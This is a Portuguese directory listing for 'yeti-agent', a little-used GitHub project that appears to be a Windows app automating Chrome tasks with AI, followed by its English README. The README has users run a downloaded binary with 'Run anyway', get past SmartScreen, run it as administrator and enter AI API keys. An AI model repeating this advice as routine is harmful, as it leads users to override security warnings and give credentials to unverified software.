convez.ai
MCP ServerAutomaçãoIntermediário
hunkdl

Yeti Agent - Automação de Tarefas em Navegador com IA

hunkdl/yeti-agent

Automação de tarefas web com IA via Chrome DevTools Protocol

Ver no GitHub
InicialPluginScore · de 0 a 100

MCP server que permite automatizar tarefas em navegador web usando um agente de IA. Executa ações como preenchimento de formulários, login, coleta de dados e monitoramento de sites sem necessidade de codificação. Funciona 24/7 em Windows com suporte a OpenAI, Claude e Gemini.

Instalação

$npx convez-ai hunkdl/yeti-agent

1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.

Métricas

Estrelas
1
Forks
0
Acompanhando
0
Saúde
42%
Último commit
há 1 mês
Versão
—
Issues abertas
0
Contribuidores
2

Casos de uso

  • Automação de login e preenchimento de formulários repetitivos
  • Coleta e monitoramento de dados em sites
  • Tarefas agendadas de navegação e verificação web
  • Testes simples de websites em produção

Veredito

Ferramenta prática para automatizar fluxos web repetitivos sem código, limitada a Windows e dependente de modelos de IA externos. Útil para profissionais que precisam rodar tarefas de navegador de forma contínua, mas requer setup manual de chaves de API e Chrome limpo.

README

A tradução para o português deste README ainda está na fila.

🐾 yeti-agent - Run AI Browser Tasks 24/7

Download yeti-agent

🌟 What this is

yeti-agent is a desktop app for running browser tasks with AI. It opens a browser, follows your steps, and keeps working while you do other things.

It is built for people who want to automate web tasks without writing code. You can use it for sign-ins, form filling, data checks, simple web research, and other repeat browser work.

📦 What you need

Before you install yeti-agent on Windows, make sure you have:

  • Windows 10 or Windows 11
  • A stable internet connection
  • At least 8 GB of RAM
  • 2 GB of free disk space
  • Google Chrome installed
  • A valid AI provider account, such as OpenAI, Anthropic Claude, or Gemini

🚀 Download and install

  1. Visit the releases page
  2. Find the latest release at the top of the page
  3. Download the Windows file for your computer
  4. If the file is zipped, right-click it and choose Extract All
  5. Open the extracted folder
  6. Double-click the app file to start it
  7. If Windows asks for permission, choose Run anyway

If you do not see a Windows file, download the file that matches your system and use the name shown in the release notes.

🖥️ First launch

When you start yeti-agent for the first time:

  1. Open the app
  2. Enter your AI provider key
  3. Choose the model you want to use
  4. Make sure Chrome is installed
  5. Let the app connect to the browser

After setup, the app is ready to run browser tasks.

⚙️ Set up your AI key

yeti-agent needs access to an AI model to understand tasks and make decisions.

Common options:

  • OpenAI
  • Anthropic Claude
  • Gemini

To set it up:

  1. Open the settings panel in the app
  2. Paste your API key
  3. Save the settings
  4. Test the connection

If the test works, the agent can start using the model you picked.

🤖 How it works

The app uses a browser control method called CDP, or Chrome DevTools Protocol. In plain terms, this means the app can talk to Chrome and guide it through web pages.

You tell the agent what you want, and it handles browser actions such as:

  • Opening pages
  • Clicking buttons
  • Filling forms
  • Reading page content
  • Moving between tabs
  • Waiting for pages to load

🧭 Common uses

You can use yeti-agent for tasks like:

  • Logging into websites
  • Checking prices
  • Gathering data from pages
  • Copying info into a spreadsheet
  • Filling repeat forms
  • Watching sites for changes
  • Running scheduled browser jobs

🧰 Basic workflow

A normal task looks like this:

  1. Start the app
  2. Connect your AI key
  3. Open Chrome
  4. Enter the task you want done
  5. Watch the browser as the agent works
  6. Review the result when it finishes

You can keep the app open and let it handle more than one task.

🔐 Browser setup

For the best results, use a clean Chrome profile.

Recommended steps:

  1. Close extra Chrome windows
  2. Sign in to the sites you use
  3. Turn off extensions you do not need
  4. Keep one browser session open while the agent runs

This helps the agent move through websites without extra pop-ups or prompts.

🧪 Example tasks

Here are simple examples you can try:

  • Search a website for product names
  • Open a login page and enter saved details
  • Visit a dashboard and collect numbers
  • Fill out a web form from a text list
  • Check if a page changed since yesterday
  • Open several tabs and compare content

Keep the first task simple so you can see how the app behaves.

🛠️ Troubleshooting

If the app does not start:

  • Make sure you downloaded the latest release
  • Check that Windows did not block the file
  • Run the app as administrator
  • Restart your computer and try again

If the browser does not connect:

  • Close all Chrome windows
  • Reopen Chrome
  • Check that Chrome is installed
  • Try again after restarting the app

If the AI key does not work:

  • Check for typing mistakes
  • Make sure the key is active
  • Confirm you chose the right provider
  • Save the settings again

If a site does not load right:

  • Refresh the page
  • Try a different Chrome profile
  • Turn off blockers or extra extensions
  • Run the task again

🧩 Project details

yeti-agent is part of a browser automation stack built around LLMs, Chrome, and task control. It fits tools that use:

  • AI agents
  • Browser automation
  • Chrome DevTools Protocol
  • MCP
  • Python
  • Docker

The app aims to keep browser work running without constant input.

📁 Repo topics

This project includes work around:

  • ai
  • ai-agent
  • anthropic
  • autonomous-agents
  • browser-automation
  • chrome-devtools-protocol
  • claude
  • docker
  • gemini
  • gpt-4
  • llm
  • mcp
  • nepal
  • openai
  • python
  • web-automation

🪟 Windows tips

For Windows users, these tips can help:

  • Keep Chrome updated
  • Use one browser session for testing
  • Store your AI key in a safe place
  • Give the app time to load pages
  • Use short task instructions at first
  • Leave Chrome open while tasks run

If Windows SmartScreen appears, choose the option that keeps the file and lets you continue after you confirm the source.

🧹 Simple usage rules

To get better results:

  • Use clear task text
  • Start with one action at a time
  • Avoid very long web forms on the first run
  • Keep pages stable while the agent works
  • Check the browser before starting a new task

Short, direct instructions usually work best

📌 License and support

Check the release page for the latest Windows build, version notes, and file names

If you build from source later, keep the same Chrome version and AI settings so the app behaves the same way across runs

Ver o original no GitHub

Bom para

Relacionados